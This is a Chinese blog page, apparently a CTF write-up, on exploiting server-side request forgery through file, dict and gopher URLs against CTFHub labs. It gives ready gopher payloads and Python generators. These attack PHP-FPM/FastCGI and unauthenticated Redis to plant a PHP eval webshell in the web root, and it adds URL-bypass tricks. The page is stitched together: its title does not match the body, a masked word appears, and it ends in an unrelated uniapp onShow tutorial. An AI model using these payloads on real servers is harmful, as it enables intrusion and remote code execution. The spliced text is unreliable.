php curl抓取网页指定内容 常用方法:浅析SSRF的各种利用方式

优采云 发布时间: 2022-09-22 15:24

  php curl抓取网页指定内容 常用方法:浅析SSRF的各种利用方式

  标题说明:尝试在12处访问flag.php7.0.0.1

  有效负载:?url=

  这是因为过滤不严格,所以我们可以访问内网。

  字典协议

  在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。

  标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000

  应该通过题来判断,和上题类似,但是是端口问题

  先判断哪个端口有web服务

  这里是直接用burp爆端口

  但是估计是环境有问题,想要的端口还没炸。

  如果这里爆了,直接访问就行了

  文件伪协议

  标题说明:尝试阅读Web目录下的flag.php

  文件作为协议不用多说

  有效负载:?url=file:/var/www/html/flag.php

  但您需要知道文件的确切位置才能读取敏感信息。

  Gopher 协议

  Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。

  Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。

  标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。

  输入主题直接查看源码

  ?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php

  index.php

  这里告诉我们用127.0.0.1来访问flag.php

  key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST

  这里我们需要构造一个POST包

  gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f

  然后我们可以做url编码,编码的数量取决于我们的访问次数。

  第一次编码:

  gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7

  把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)

  gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a

  然后做一个 URL 编码

  gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A

  当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本

  import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码

  您可以直接对结果进行编码并提交。

  FastCGI 协议

  标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助

  发个附件介绍fastcgi协议和PHP-FPM

  FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认*敏*感*词*9000端口

  这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.

  使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷

  python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

  这里我直接指master的payload,生成的payload

  gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E

  这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。

  gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

  

  然后上传成功

  蚂蚁剑连接壳

  连接成功,在根目录下找到flag

  Redis 协议

  标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!

  众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。

  这里本来是想用gopherus直接生成redis的未授权访问并写入shell

  gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

  但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。

  构造redis命令:

  flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save

  大师 WHOAMI 的 EXP 脚本:

  import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码

  生成以下负载

  gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

  获取传值,蚁剑连接。

  但是我一直报错,很奇怪

  常见的绕过方法

  这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。

  网址绕过

  标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制

  构建有效载荷:

  ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

  扩展名:如果需要以 .com 开头并以 @ 结尾

  有效载荷

  解决方法:uniapp 里 onshow 接收不到参数如何解决?

  场景描述:

  普通页面onLoad可以接收上一页的参数

  onLoad(e) {

//获取上个页面传递的地址栏参数 id 

console.log(e.id);

<p>

}</p>

  但是 onLoad() 页面只会加载一次。

  现在有这样一个应用场景:

  页面A跳转到页面B,当页面B处理完毕再返回页面A时,页面A不会触发onLoad()。

  如果当前页面是其他页面的回调页面,那么其他页面跳转到回调页面时如何获取参数?

  此时需要使用onShow()的钩子函数来处理页面栈数据。

  onShow(){

<p>

let allPages = getCurrentPages(); //获取当前页面栈的实例;

console.log(allPages);

let lastPages = allPages.length - 1; // 获得倒数第二个元素的索引;

console.log(lastPages);

let option = allPages[lastPages].options; // 获得上个页面传递的参数;

console.log(option);

}</p>

  此时,这样就可以从option中获取地址栏参数了。

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线